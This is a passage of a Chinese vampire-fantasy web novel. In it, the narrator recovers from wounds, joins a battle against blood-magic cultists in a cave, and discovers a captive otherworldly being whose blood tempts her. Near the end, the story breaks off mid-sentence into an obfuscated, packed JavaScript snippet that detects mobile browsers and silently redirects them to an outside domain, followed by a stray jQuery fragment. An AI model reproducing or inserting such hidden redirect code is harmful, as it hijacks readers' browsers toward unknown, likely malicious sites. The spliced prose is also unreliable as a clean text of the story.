后来，因为部落的需要，我从山上下来。父亲指给我敌人的方向，我不得不去战斗。父亲还给我选了一个新娘，我和她结了婚。但我能感觉到，她对我的感情很复杂，或许她并不爱我，只是喜欢我带给她的威望和生活上的改变。 今天，我的弟弟向我发起挑战，他和我的妻子竟然策划了一场政变。当我拿起斧头时，看到了他眼中的恐惧。但我没有杀他，而是选择了离开。我向北走，乘船去了格陵兰，然后继续前行。我对那些争斗已经感到厌倦，不在乎他们想要的东西。 在寒冷的旅途中，我受尽了苦难，身体变得瘦骨嶙峋。我嚼着从深海里捕到的冰冷的鱼，却尝不出任何滋味。我渴望能去一个更好的地方，忘记所有的痛苦。 “阿丽亚娜，求你了，蒂尔，回答我。” 我的意识渐渐清醒过来。 “洛……洛思？” “是的，是的，我在这儿，姑娘。我在这儿。” 我咳嗽了几声，吐出一些黏糊糊的东西。我感觉到一块湿布轻轻擦了擦我的嘴。 “你感觉怎么样？” “嗯……感觉就像经历了一场可怕的灾难，整个人都虚弱极了。” 我费力地睁开眼睛，眼前的事物模糊不清，很难集中注意力。所有的声音听起来都变了调。 “我……感觉好虚弱。” “我的血对你有帮助，你很幸运。我之前一直担心……你遭受了这么多痛苦还能活下来，真是太好了。” 我试图抬起一只手臂放到胸口，但根本做不到。左臂被紧紧包扎着，右臂也异常沉重。 “哇，慢点。” “绷带？” “你还没完全康复。你的手臂受了重伤，能保住已经很幸运了。你身上还有其他伤口，右肺也受了伤，心脏部位也有创伤。” “我不觉得口渴……” “可能是我的血起了作用。” 我们沉默了一会儿。 “我想我需要一点时间。” 我感到疼痛，虽然没有预想中那么疼，但内心的空虚和疲惫让我更加难受。我知道我们可能还处在危险之中，但却提不起精神去在意。尽管胸口的伤口已经愈合了一些，但之前的那种冷漠仍残留在我的心里。我决定专注于呼吸，因为这能让我稍微平静下来。我数了三十个呼吸周期，然后再次把脸转向洛思。 “我们不该赶紧行动吗？” “我们需要一些时间来组织刚解救出来的囚犯。那些邪教徒带走了一些人，在山里的建筑群更高处重新集结了。我们得先做好准备再继续行动。” “其他人怎么样了？” “每个人都还好。道尔顿肋骨骨折，但不严重。我给他喝了一剂补药，他还能撑四个小时，之后可能就需要休息了。”洛思停顿了好一会儿，我意识到他在思考什么事情。 “是他找到你的。” “是他？” “是的。不知怎么的，他知道你去了哪里。你们之间好像产生了某种联系。等我们有时间，以后再详细讨论这件事。” “好的。我们有出去的计划吗？我今晚没办法再战斗了。” “我觉得你至少需要几天时间才能恢复。在讨论计划之前，我得问你，发生了什么？是什么把你打倒的？” 我向洛思讲述了我的经历。提到被污染的血液时，他皱起了眉头；当我提到还剩下两个法师时，他惊讶地扬起了眉毛；而当我讲述自己所遭受的痛苦时，他的眼神里透露出愤怒。 “就是这样。我估计至少还有二十多个守卫，如果他们没有从庄园撤回来的话，最多十五个。那两个法师也是个麻烦。” “你极度的饥渴差点要了你的命，是我没有预料到这些……” “你不可能……” “别为我找借口，年轻人。是我带你参加这次突袭的，结果你差点遭遇不幸。这是我的失误，等我们结束这里的事情，我会好好反思。至于计划，等大家都准备好了我再解释。” 我终于有时间环顾四周。我们站在一个宽敞的长方形房间中央，只有一扇宽阔的门。铁链每隔一段距离就固定在光秃秃的石墙上。大多数铁链上都没有人，但有些还锁着俘虏。我看着宾格尔和道尔顿四处走动，解救囚犯。他们看起来很憔悴，瘦弱又虚弱，但大多数人都满脸愤怒，渴望着能为自己讨回公道。一小群女人挤在出口附近，互相照顾保护着。她们每个人都面色苍白，浑身脏兮兮的。牢房里弥漫着一股难闻的气味，那是未洗净的身体、陈年汗水和排泄物混合的味道。 “也许我们应该……” “再等一会儿。我们找到你的时候，你看起来状况很差。我还以为……算了，姑娘。再等一分钟。你已经好多了。” 好多了？我作为一个吸血鬼，身体确实在慢慢恢复。我开始想抗议，然而，我却发现自己并不想动。在这里，我感到温暖又安全。那就再等五分钟，然后我就站起来。 “嗯？” “抱歉，阿里，我们现在得走了。来吧。” 洛思把我扶起来，拉着我走向其他人。我几乎无法挪动脚步。两个我不认识的女人急忙过来，架住我的胳膊。 “我们以为你死了，小姐。” “我也以为我死了。” 我闭上眼睛一会儿，直到听到有人清嗓子的声音。我抬起头，看到宾格尔担忧的脸。 “德莱尼小姐，看到你这样，我心里很愧疚。我没能保护好你。” “别担心，先生，如果你还记得的话，是我自己决定置身险境的。” “我记得我当时建议你不要去，要是你听了我的建议，现在可能被关在牢房里的就是我了，等待着悲惨的命运。德莱尼小姐，今晚你两次救了我的命，一次是你勇敢地穿过那些走廊来救我，另一次是你破坏了狱卒的火枪。我永远不会忘记。我以宾格尔的名义向你保证！” “啊，感谢你的感激之情，但我觉得我们是在互相帮助。面对如此邪恶，善良的人当然要奋起反抗。” “说得好，我说，说得好！天哪，你生为女子，对军队来说是多大的损失啊！能遇到你和洛思这样的人，我真是太幸运了！” “谢谢你，宾格尔先生。现在，我冒昧问一句，你找到沙弗夫人了吗？” 话一出口，我就后悔了，我觉得自己太冒失了。 “唉，没有。但我不会绝望！还有俘虏等着我们去救，如果没有找到她，我也会找到她留下的线索。在弄清楚她的命运之前，我不会放弃，无论结果如何。” 这个男人身上有一种侠义之气，一种不屈不挠的战斗意志，他坚信最终正义必将战胜邪恶。在他所有喧闹的言辞和夸张的语句背后，有着真正的勇气、荣誉和同情心。我觉得他仿佛生错了时代，他应该是一名骑着马保护无辜者的英勇骑士。这种独特的气质让他很有魅力，而他朋友可能遭遇的不幸命运也更加令人悲痛。 “我们只能抱有希望。” “确实。现在我要向大家讲话，然后我们将出发，彻底消灭这个威胁。” “你觉得这样明智吗，先生？这些人中有很多都很虚弱。” “是的，德莱尼小姐，因为在你眼中看到的是需要保护的弱者，而我看到的是充满斗志的勇士，他们将由我带领，去战胜敌人。” 带着这句充满信心的话，宾格尔吸引了大家的注意，我们聚集在一小群人中间，面对着洛思和他。 “女士们，先生们，我们能把你们从那些邪恶的异教徒手中解救出来，这是一件值得高兴的事！然而，我们的任务还没有完成。虽然我最希望看到你们都安全地离开这个被诅咒的地方，但我必须请求，不，恳求你们的帮助。事实上，在通往自由的道路上还有一个障碍！我们的敌人仍然很强大，而我们还在他们巢穴的黑暗中心。我无法独自取胜，所以我不得不向你们这些勇敢的灵魂寻求帮助。 我知道你们承受了巨大的痛苦。你们西行是为了寻找新的生活，远离饥饿、压迫和暴政！就在即将成功之际，最可怕的敌人却夺走了你们的希望！你们失去了朋友和家人，但你们仍然坚强地站在我面前！毫不畏惧，坚不可摧！” “对！” “说得好！” “那些可恶的家伙以为我们好欺负，但我们不会轻易屈服，他们会为自己的所作所为后悔的！” “没错！” “我问你们，我的战友们，我们能任由这种不公正继续下去吗？我们会像懦弱的人一样屈膝投降吗？我们会放弃我们的尊严吗？” “绝不！” “的确不会！因为我们的心渴望正义和主的正义荣耀！我们不会投降，我们必将胜利，愿正义降临！” “耶——！” 我着迷地看着宾格尔鼓舞着人群。我终于明白他为什么这么有说服力，因为他自己深信不疑。他的眼睛闪烁着激动的光芒，脸因激情而涨得通红。他真的相信这群人有能力打败二十多个全副武装的守卫，而且他会亲自带领他们投入战斗。 当愤怒的呼喊声渐渐平息，宾格尔请求大家注意，这时洛思走到墙边，用白垩画了一幅地图。 “邪教徒们聚集在他们的仪式房间里。那是一个巨大的露天洞穴，通向一个陡峭的悬崖。它很容易就能容纳两百人。我们预计邪教头目会在祭坛那里，祭坛位于洞穴中央，靠近悬崖边缘。有一个主入口，肯定有守卫；不过，我们找到了另一条路。在洞穴的一侧，洞壁上升形成一个高台，阿伯内西夫人可以从那里观看仪式。有一条非常小的走廊通向这个高台，我们就从那里走。我们很快会分发火枪。最厉害的射手会留在高台上提供掩护火力，而我们大多数人会跳下去与守卫交战。宾格尔先生自愿亲自带领进攻。” 首领一死，那些喽啰就会受到影响。我得确保这件事尽快发生。 没有人提问。洛思和宾格尔分发从守卫那里缴获的武器。有警棍、几把军刀和几支旧火枪。如果我们的对手不是和我们情况一样，我肯定会担心。 罗斯和男人们在前面带路，我注意到道尔顿在外面站岗。他看到我时，向我走了过来。 “谢谢你，朋友们，我想我现在能站起来了。” 那两个女人点点头，带着理解的微笑，松开了我。道尔顿默默地把我的手枪、一些弹药和一把飞刀递给我。 “给你，女主人。” 在他的眼中，我看到了和以前一样平静的信任，一样坚定的追随。我很难把他这种平和的态度和之前发生的可怕场景联系起来。我终于意识到，道尔顿会是一个可靠的伙伴。 当然，我没办法把他变成吸血鬼。但我仍然可以让他做我的助手。 “你明白你做出的选择吗？你现在与我绑定在一起了。” “我们见面的那晚我就告诉过你。我永远不会背叛你，我知道该怎么做。” 我转过身去，心里有些复杂。我不想承担另一个人的责任……或者我其实是想的？ 有一个助手在身边确实会方便很多。有了他，我可以更轻松地完成一些任务，比如追捕赏金猎物、处理一些事务……可能性有很多。 “有你在，我能做成很多事。” “是的，女主人……” 我已经可以想象了。我们会一起追踪我们的目标，然后道尔顿可以帮我处理一些外界的事务，而我就可以专注于自己的事情。这一切似乎很美好。 “你感觉好点了吗，女主人？” “嗯？哦，我能走路了，但我没办法战斗。你得自己去战斗了。” “别担心，女主人。我觉得你的……叔叔……已经等不及了。” 我们默默地走上一段楼梯，穿过黑暗的小巷和走廊，走廊里夹杂着储藏室和书房。一路上我们没有遇到任何人，只有脚步声和疲惫的喘息声打破寂静。最后，我们在一条特别黑暗曲折的通道里停了下来，命令沿着队伍急切地低声传递着：“我们到了，保持安静，等信号再进攻。” 但到底会是什么信号呢？宾格尔压根没说。他真的当过陛下军队的军官吗？我觉得这也太不专业了。 慢慢地，队伍进入了一个巨大的洞穴。 我们站在一个带有低矮石栏杆的高架阳台上。在我们下方，洞穴向四面八方延伸。照明靠的是四处悬挂的铁烛台。火把的红光在陡峭的岩石上反射出一种让人不安的光芒。我们左边悬崖边的一个天然洞口，只露出夜晚多云的天空，而在我们右边，洞穴的尽头是一扇巨大的门。我们的目标站在洞穴中央，周围是火盆和武装暴徒。他举着一个圣杯，放在一个白色祭坛上方，我们看着，一个俘虏被拖到大理石祭坛上，用绳索捆绑起来。一群囚犯跪在旁边，等待着未知的命运。 我的感官正在恢复，即使在这里，我也能感觉到，每个人身上散发的恶臭似乎都和这个圣杯里的东西有关。我没有愤怒得浑身发抖，这足以证明我现在有多虚弱。 现在我们只需要趁他们专注于让这个受害者喝下圣杯里的东西时进入位置…… “你们最后一次肆意作恶了，邪恶的家伙！上啊，小伙子们，为了正义！冲啊！！！”宾格尔抓住固定一个烛台的一根绳子，宾格尔抓住固定一个烛台的一根绳子，用力将其从底部砍断。那烛台带着惯性，直直地砸在一个倒霉的暴徒头上，巨大的冲击力让宾格尔借着反作用力向前向上冲去，双脚稳稳落在另一个守卫的胸口，随后他怒吼着，毫不犹豫地朝着邪教头目冲了过去。与此同时，洛思发出一声震耳欲聋的咆哮，那声音仿佛能穿透整个洞穴，他如同一头愤怒的猛兽般纵身一跃，狠狠撞向一排匆忙摆出防御姿势的敌人。在他那强大的力量冲击下，敌人就像脆弱的布娃娃一样，被撞得东倒西歪 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火枪队之前一直因为混战中的人群而犹豫不决，不敢轻易开枪。但现在，新来的这些敌人完全暴露在外，而且距离并不远，哪怕是没有多少经验的射手，也能轻松瞄准。很快，阵阵爆炸声响起，刺鼻的火药味迅速弥漫在空气中，两队人开始激烈交火。不一会儿，就有两个守卫中枪倒下。然而，我们这边也有人受伤，一个人捂着被炸烂的左手，痛苦地往后退去。 “让我来！”一个身材魁梧的女人毫不犹豫地抓起倒下战士的枪，其他几个人则迅速将受伤的战士拉到安全的地方。她手法娴熟地重新装填弹药，仅仅几秒钟后，又一名守卫的胸口出现一个冒烟的洞口，直直地倒了下去。 法师伦纳德看到我们这边的掩护火力占据优势，脸色一沉，立刻命令他的队伍跟在他身后，朝着我们所在的位置冲了过来。阳台处于一个斜坡上，这使得他们能够很轻易地朝我们逼近。 “护盾！”伦纳德大喊一声，只见两颗铅弹直直地撞在一个突然出现的透明屏障上，发出沉闷的声响，随后无力地掉落。这一幕让我们这边的人惊恐不已。 “巫术！”有人惊恐地喊道。 “继续开枪！别害怕！”有人大声鼓舞着士气。 我靠在墙上，努力让自己站稳。道尔顿则跪在栏杆旁，警惕地注视着下方的敌人。就在这时，五个由愤怒的伦纳德带领的守卫身手敏捷地跳上了平台，他们来势汹汹，一下子就把我们的人逼得连连后退。我突然注意到，伦纳德的腰带上别着希梅娜的刀，那是我无比熟悉的刀，看到他用脏手碰它，我心中涌起一股怒火。 哦不，他竟敢！ 他脸上挂着恶狠狠的笑，举起护手，朝着倒下的射手和惊恐的女人们步步逼近。 “你们就该老老实实地待在你们的笼子里。” 我心中的愤怒瞬间爆发，毫不犹豫地举起手枪，瞄准他，扣动扳机。只听“砰”的一声，子弹干净利落地穿过他的头骨，他身旁的人被溅得满脸脑浆，吓得呆立在原地。 他真该一直举着护盾，还有，别用他那脏手碰我珍贵的刀。哼！ 那些喽啰们见首领倒下，顿时红了眼，转身朝着我疯狂地冲了过来。我试图往旁边躲开，可身体实在虚弱，这一动，伤口传来一阵剧痛，我忍不住嘶嘶叫着，摔倒在地。我无助地看着一个守卫高高举起警棍，心想这下肯定要受伤了。 就在这千钧一发之际，道尔顿像一只敏捷的猎豹般跳到敌人的背上，手中的匕首不停地朝着敌人身上刺去。敌人惨叫连连，没过多久就倒在地上，没了动静。我们的人趁机重新集结，发起了反击。可我还没来得及松口气，就看到另一个守卫又举起了警棍，此时的我根本无力躲避，心想这次肯定躲不掉了。 “德莱尼小姐给我们做出了榜样！呀啊啊啊！”一个戴着白色女帽、穿着面包师衣服的大块头女人，如同火车般带着巨大的冲击力，猛地冲向那个暴徒。我听到那暴徒发出“噗”的一声，像是肺部的空气被瞬间挤了出去，紧接着，是骨头断裂的声音，那女人竟把他死死地钉在了墙上。伴随着一声震耳欲聋的尖叫，其他女人也带着满腔的怒火，不顾一切地冲向那些陷入困境的守卫。她们的力量仿佛在这一刻被无限放大，瞬间就把那些守卫压倒在地。暴徒们被女人们的靴子、随手捡起的石头，以及她们那可怕的愤怒所击败，纷纷倒在地上痛苦地呻吟着。我简直不敢相信自己的眼睛，就算是“铁手套”组织，也从未展现出如此强大的战斗力。 我咬着牙，强忍着疼痛站起来，拿起我的刀，在人群中穿梭。只要看到还有守卫在动弹，我就毫不犹豫地刺上一刀。很快，我们这边就取得了全面的胜利。 在我们下方的战场上，局势也发生了逆转。若不是斯科拉格的洛思在，我们恐怕就要陷入绝境了。可以说，洛思真的是受够了这些敌人的恶行。我能想象得到，跟着宾格尔进行这场冒险，他心里肯定也憋着一股火。此刻，他正处于战斗的最核心位置，尽情地释放着自己的力量。我看到他伸手抓住一个正要对我们同伴下毒手的敌人的脖子，然后用力一甩，就把那个人扔到了另一个敌人的脚下。紧接着，他灵活地躲开一根挥来的棍子，顺势一拳打在攻击者的脸上，只听“咔嚓”一声，那人的鼻梁就被打断了。当那个人双手捂着脸，痛苦地叫喊时，洛思又补上一记重拳，那力量大得让他的脚都离开了地面。随后，洛思又飞起一脚，踢在他的头上，那守卫像断了线的风筝一样向后飞去，撞到了他的一个同伴身上，半口牙齿都掉落在地。 我知道，以洛思的能力，他杀人本可以更加干脆利落。但此刻，他显然是在发泄心中的愤怒。男人啊，有时候就是这么容易冲动。 我的注意力很快又转向了宾格尔，他似乎陷入了一些麻烦。邪教头目正挥舞着一条火鞭法术，向他发起猛烈攻击，宾格尔只能用军刀勉强抵挡。不幸的是，阿伯内西一个巧妙的动作，缠住了他的刀，用力一夺，就把刀从他手中抢走了。宾格尔一个踉跄，差点摔倒。阿伯内西趁机施展了一个推力法术，宾格尔被推得向后飞去，重重地撞在了祭坛上。我能看出他脸上露出痛苦的神情。我急忙转身，催促离我最近的射手赶紧瞄准那个头目开枪。但很明显，我还是晚了一步。 “你被你的无知蒙蔽了双眼，蠢货！”阿伯内西歇斯底里地尖叫着。 “是你什么都看不见。”宾格尔虽然受伤，却毫不畏惧地反驳道。说着，他用尽全身力气，把邪教的血杯扔了出去。他的对手完全没有料到这一招，虽然下意识地用手臂挡住了杯子，但里面的东西还是溅到了他的脸上。阿伯内西发出痛苦的尖叫，宾格尔却不顾他的惨叫，迅速跳回战斗中。他捡起地上的刀，一个箭步冲上前，结束了这个邪恶敌人的性命。 剩下的邪教徒还在负隅顽抗，但他们已经没了首领的指挥，士气低落，只是在做着无谓的抵抗。没过多久，我们就彻底赢得了胜利。 终于，这场可怕的战斗结束了。人们欢呼着、大笑着、互相拥抱着，还有人激动地哭泣着。宾格尔在众人的欢呼声中缓缓走着，他的衣服被火烧得焦黑，身上带着伤，看起来疲惫不堪，但他的步伐却充满了力量。他从一群人走到另一群人中间，和大家握手、拍着大家的肩膀，分享着胜利的喜悦。 道尔顿和我则忙着把伤员聚集起来，带到洛思那里。洛思已经在一旁设立了一个临时医务室，正有条不紊地为伤员处理伤口。大家都在趁着这难得的机会喘口气，战斗暂时停歇了下来。我趁机走到洞穴口，想要呼吸一下新鲜空气。 终于，有了片刻喘息的机会。就在这时，我心中涌起一阵遗憾，后悔自己从来没有学过绘画。眼前的大地在无数的山谷和平原间绵延数英里，山脉向着我的右边倾斜，角度十分奇特。天空广阔得让人有些压抑，“沉默守望者”那熟悉的光芒温柔地洒在大地上，仿佛在向我致意。 一阵清新的微风吹进洞穴，光线随着微风轻轻摇曳。这风带来了未被污染的空气，还夹杂着一股诱人的气味。我下意识地把目光转向右边，那股香味一闪而过。 沿着悬崖有一排楼梯蜿蜒向上。 “这通向圣所，德莱尼小姐。”罗斯不知道什么时候走到我身边，轻声说道。 “我们得去探索一下，确保没有遗漏任何危险，还要销毁那些可能存在的邪恶研究资料。” “你确定吗？我是说……”我有些犹豫，毕竟身体还很虚弱，而且不知道上面还有什么未知的危险。 “是的，我确定。”罗斯坚定地点了点头说道。 我虽然有些不情愿，但也知道这是必须要做的。不到四个小时太阳就要升起了，我也得为即将到来的白天做准备。我们集合起来商量之后，决定由宾格尔、道尔顿和我上去探索，而洛思则留下来和其他人在一起，照顾伤员并保护大家的安全。 “别担心，姑娘，我稍后会去看看的。”洛思拍了拍我的肩膀说道。 于是，我们三人出发了，缓缓朝着楼梯走去，准备迎接新的挑战…… 25. 探秘神秘神庙 有人在山壁上挖出了台阶，并在关键位置装上了栏杆。但这并无多大用处，我感觉自己像是闯入了一个本应保持原始、无人涉足之地的不速之客。 我们很快来到一个小平台。在两山之间的夹缝处，有一间小木屋。它不过是个简陋的遮蔽所，我们进去后，我发现这地方几乎容不下我们三个人。一张小床和一个橱柜被推到了最远的墙边。仅有的一层地面，大部分被一套炼金术工具占据着，还有一张堆满纸张的书桌。我让其他人四处查看，自己很快就找到了早就料到会有的东西：一本研究日志。 这本日志很厚重，所以我大多只是匆匆翻阅。邪教领袖的记录很有条理，更重要的是，没有加密，因此我读起来很快，没有阻碍。我很快了解到，阿伯内西三年前在一位克里克族向导的指引下找到了这个地方。他随即发现了一个他称之为“神庙”的地方，在更上面，他还研究了那里留下的铭文。显然，其中一些铭文包含了欧洲风格的关于血魔法的炼金术注释。他召集了几个离经叛道的法师和追随者，搬了进来。 大约一年多前，有人闯入了神庙，捣毁了实验室，还毁掉了许多笔记。就在那时，阿伯内西加大了活动力度，开始绑架人进行血液实验。与此同时，他得到了一个他称之为“源头”的东西。他相信自己能制造出一种长生不老药，而且没有怕阳光和嗜血的副作用。实验室遇袭被他视为有人试图阻止他获得领悟。 我们必须往上走。 道尔顿和宾格尔回来找我，他们没什么收获。我一言不发地递给这位冒险家一张我从实验笔记上撕下来的纸。 “实验对象：弗洛拉·谢弗，女性……” 他念着念着，声音渐渐低了下去。我当然早就怀疑她已经死了，这只是证实了我的猜测。 我和我的手下恭敬地静静等着，直到他看完。他脸上的悲痛显而易见。 “请原谅，我需要静一静。” 我们走到外面，关上门，在外面等着。我有些震惊，因为我意识到这是我第一次看到这位无畏的冒险家脸上露出如此绝望的神情。 “我想问您一件事，女主人。”道尔顿说。 “什么事？” “您究竟是什么？” 我惊讶地转向他。 “你决定效命于我，却不知道我是什么？” “我当时知道的已经足够让我做决定了，现在我想知道全部。” 我花了几分钟时间，告诉他我的能力，还有我对火、银和阳光的弱点。说完之后我才意识到，我甚至都没有想过他会背叛我。我的直觉告诉我，他不会。我们现在已经建立了某种联系。他的忠诚就像黎明一样确定无疑。 没过多久，宾格尔就加入了我们。 “很抱歉让你们久等了。我……我刚才……” 我把手轻轻放在他的胳膊上，用温和的语气说道： “没什么好道歉的，先生。我只能向您表示哀悼。我知道在这样的痛苦面前，这些话微不足道，但我必须提醒您，如果不是我们及时介入，我们身后那些不幸的人会遭遇更悲惨的命运。” 宾格尔似乎对我的触碰有些惊讶，他那张真诚的脸上满是情绪。 “是的，您说得对。非常感谢您，德莱尼小姐。我们今晚做得很好。虽然我没能救下她，但我们确保了能为她报仇。这也算是个有价值的结局！” “确实。现在，那个可恶的人的笔记里提到上面有座神庙，我想亲眼去看看，确保没什么异常情况。” “当然，德莱尼小姐！您的坚韧和严谨激励着我们！不把邪恶彻底铲除，我们绝不罢休！” 没错。 “那我来带路，前进！” 等等，我这是怎么了？！我为什么会这么说？！ 不可能…… 这个人会传染吗？ 我真希望不会。我可不想变得这么正义凛然。 我的听力已经恢复了一些，能听到道尔顿轻声的笑声。我可能永远都摆脱不了这个笑话了。 我们沿着山路稳步走了十分钟，爬上一道天然的山脊。最后，路向右一转，通向一个小高地。 这里能挡住大部分风，松树和齐膝高的灌木丛在这里生长蔓延，把这里变成了一个避风港。我注意到一些规整的布局，它们太过规整，不像是自然形成的。更像是有人在这里种了个花园，然后至少有十年没人打理了。再往上，山谷在两座悬崖之间消失了。 这感觉太熟悉了。 哦。 哦！ 我想起来了。几个月前，纳肖巴在那个梦里说过：“关键不在于何处，而在于何时。” 我找到了！梦里的那个地方！ 和我记忆中的一样，那座方正的建筑紧贴着岩石，就好像是从岩石里挖出来的一样。两座狮子雕像守在主入口两侧，有些破损了。我没听到什么可疑的声音。 “德莱尼小姐，让我先进去。” 我们走进了所谓的神庙，四处查看。他们俩拿出灯笼，照亮了里面。 阿伯内西提到过这个地方被洗劫过。但这并不准确。这个单间被一股巨大的力量破坏得一片狼藉。靠近门的东西，比如石床和火坑都完好无损。再往里，地板上满是碎片，对面的墙完全被撞碎了。 在一旁，我看到一堆奇怪摆放的石头下面有一个光秃秃的炼金台。我走近一些。 有人收集了刻有铭文的石头。我认得这种文字。 “道尔顿，我需要你的灯笼。” 当然，这是为了骗宾格尔才这么说的。 尽管这些符文损毁严重，我还是辨认出了几个。可惜的是，仅凭这些无法推断出完整的意思，除非…… 我避开散落的石块，走向那面破碎的墙。 有什么东西闻起来好香。我很久以前就闻过一种很相似的味道。就在嘴边，可就是想不起来…… 我走近那个撞击点。 要么是有人带了一门小炮，要么…… 我把拳头伸进中间的洞里，往里推。手臂伸到肘部的时候，我摸到了破碎的岩石。嗯。 我往里面看了看。撞击点的中心有一个黑点。 难道是…… 我又把手伸进去，摸索了几秒钟后，终于摸到了什么东西。当我抽回手指时，食指上沾了一点点类似焦油的物质。我搓了搓手指，闻了闻。 一股情绪涌上心头。虽然没有了生命的气息，但这股香味绝对错不了。我震惊地往后退，这才发现这个坑周围还有其他符文。我恍然大悟。 “德莱尼小姐，这些是什么？” “这是一首用阿卡德语写的诗。上面写着： 小鸟忽高忽低地飞， 飞向岩石，飞向天际。 小鸟四处飞翔， 却总是差了一步。” “我不明白。” “这是一种嘲讽。” 我的主人一年前来到了这里。他没有找到他要找的东西。有人拿走了它，并藏了起来。 这就是他来到这个偏远地方的原因。 这也是他……找到我的方式。 至于他的目标是什么，我毫无头绪。如果我们能找到某种容器，或许能得到一些线索。我决定继续寻找。我尤其想知道那股诱人的香味是从哪里来的。 我向左转，走向墙壁。一个保存得特别完好的石柜躲过了这场破坏。 这很可疑。 “帮我把这个挪开，我觉得后面可能有东西。” 两个人都冲到我前面，一心不让我动手。好吧，看来身为女性还是有点好处的。但我还是更希望能被允许去做赏金猎人的工作。 道尔顿和宾格尔没费多大力气就把这个家具挪开了。光线照进了一个小浴室，里面只有一根石管和一个储物架，没什么东西。更有意思的是地上躺着的一个人形物体。那股诱人的香味就是从这里传来的。 我忍不住了。我从同伴身边走过，无视他们的警告。我在那个人形物体前跪下，抬起他的下巴。 两只琥珀色的眼睛睁开了，看着我眨了眨。这眼睛太大了，不像是人类的。他的面容带着一种奇异的异域感，与众不同却又很迷人。我觉得他是男性，那就用“他”来称呼吧。我凑近一些。他闻起来太美味了，无比诱人。这股气息，这生命力……我张开嘴，露出八颗尖牙。这个人流下了一滴眼泪，脸上露出了一种源自极度绝望的认命神情。 他知道我是什么，知道我要做什么，而且他已经放弃了。很好，现在我只要…… “德莱尼小姐？” 我猛地闭上嘴。 如果我现在动手，就必须杀了宾格尔。我不觉得自己能催眠他，让他忘记有人死了这件事。 我不想杀宾格尔。不。我不想让自己的本能妨碍我的长远计划。所以我慢慢强迫自己远离这股最浓烈、最美味的鲜血…… 等等，就是它。 在我逃跑的那晚，救我命的血就来自这个种族的人。或许不是他，但他的气味和那种血很像，只是更浓烈、更醇厚一些。不过，我确实喝过他同类的血。 “小姐？” 我终于强迫自己转过身。 “他还活着！我们得把他救出来。” 我强迫自己从那股诱人的香味旁退开。宾格尔从我身边走过，跪了下来。我注意到他很幸运地还带着解救其他囚犯用的钥匙，而且这些钥匙正好能打开这个人身上的枷锁。 等等，他会发现不对劲的！ 我惊慌地转过身，却发现我刚刚看到的那个奇怪生物所在的地方，现在躺着一个看起来完全正常，只是身体不太健康的男人。仔细一看，他的眼睛和耳朵周围有一种微光。 “你能说话吗，小伙子？” “能……能。” “你有哪里受伤吗？” “没有……只是有点疼，又渴又饿。” 但他并不脏。一个脏兮兮的人怎么会有这么迷人的体香呢！ “别担心，小伙子。你的苦难结束了！我们会好好照顾你的。我塞西尔·卢瑟福·宾格尔向你保证！” 没错，好好照顾。 “女主人，你在流口水。”道尔顿小声说，“你需要再喝点血吗？” “谢谢，我没事。” 我这是怎么了？除了那颗刚被刺穿的心脏，应该没什么问题啊。我甚至都不觉得渴。只是这个生物的血，我似乎完全无法抗拒。 我不能咬他。 我不能咬他。 或许就咬一小口……不！我不能咬。冷静点，阿里，这不像你。深呼吸。 好吧，这真是个糟糕的主意。这个人的气味怎么能这么让人陶醉！啊！ “你没事吧，德莱尼小姐？” 我转过头，不让他看到我的尖牙。 “抱歉，只是，不好意思，我需要点新鲜空气。” 我跌跌撞撞地走出去，一直走到外面。在这里，一股冷风从山坡上吹下来，带着一丝松树的气息。我感觉好多了，或者说，至少能更好地控制自己了。 没过多久，那三个人也从建筑里出来了。在户外，那种诱惑没那么强烈了。 宾格尔同情地看着我，然后在前面带路下山。我跟在他后面，道尔顿搀扶着那个奇怪的生物。我不敢靠得太近。实际上，宾格尔背对着我，所以我想我或许可以偷偷…… 不。不行！够了。控制一下自己，阿丽亚娜！这样太难看了！我不能被自己的冲动控制。 我扇了自己一巴掌，这时，一阵微风吹过我的耳边，有个声音轻声说道： “夜行者，你为什么放过我？” “哇！” “女主人？” “德莱尼小姐？” “呃，不好意思！大家都不好意思，我只是不小心踩空了。” 道尔顿一脸怀疑，宾格尔则满脸关切。 “德莱尼小姐，我很抱歉！我应该想到你刚经历了那么多！我真蠢！你，嗯，如果你，嗯，如果我这么说不太冒昧的话，你可以挽着我的胳膊。我会带你安全下山的！” 好，趁我还没做出让大家后悔的事，我得走到下风处去。 “如果不太麻烦的话……” 我走近他，挽住他结实的胳膊。嗯！感觉还不算太糟。这个人明显很得意，看来我的信任对他来说意义重大。不过，或许我不该把后背对着那个生物。他显然知道我是什么。 “这是个残忍的陷阱吗，夜行者？”那个声音又在风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15054932|162875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中低语。 “我叫阿丽亚娜。”我低声嘟囔道，声音低得人类听不见。 “好吧，既然你礼貌地告诉我你的名字，我也礼尚往来。我叫西尼德。” 我们继续用这种方式交谈着。 “你是什么？” “你真的不知道？” “不然我问你干嘛！”我轻声嗔怪道。 “你们这类人叫我们闯入者或者迷途者。我们来自很远的地方……” “多远算远？印度？日本？” “我们来自另一个维度。” “啊……真的吗？！你们是怎么来到这里的？！” 那声音带着一丝恼怒叹了口气。 “我们族人喜欢玩游戏。有时候我们会不小心掉进其他世界。如果你们这个世界的规则没这么严苛，这本来也不是什么大问题。” “啊？” “你们的现实太僵化了。我们很难突破。它对我们的阻力太大。我们回不去，所以就迷失在这里，成了闯入者和猎物。” “猎物？” “你肯定还很年轻……你们这类人抓住我们，抽取我们的永生之血。这些血被存放在安全的容器里，以备不时之需。对你们来说，我们就像奴隶和牲畜。比动物好不了多少。”他愤恨地补充道。 我现在明白了。六个月前，我本应该死于希梅纳之手造成的伤口。只有奇迹才能救我，而这个奇迹就是他这类人的血。 “我不明白！我以为血必须当场喝掉！” “我们是永生的。我们不会变老，所以只要抽取得当，我们的血就能永远保持活力。” “我从来都不知道……” “真奇怪，我本以为各个家族会告诉他们的成员我们的存在，这样你们偶然遇到我们的时候，就知道不要立刻把我们吃掉。我猜，对我们来说，那也太仁慈了…… 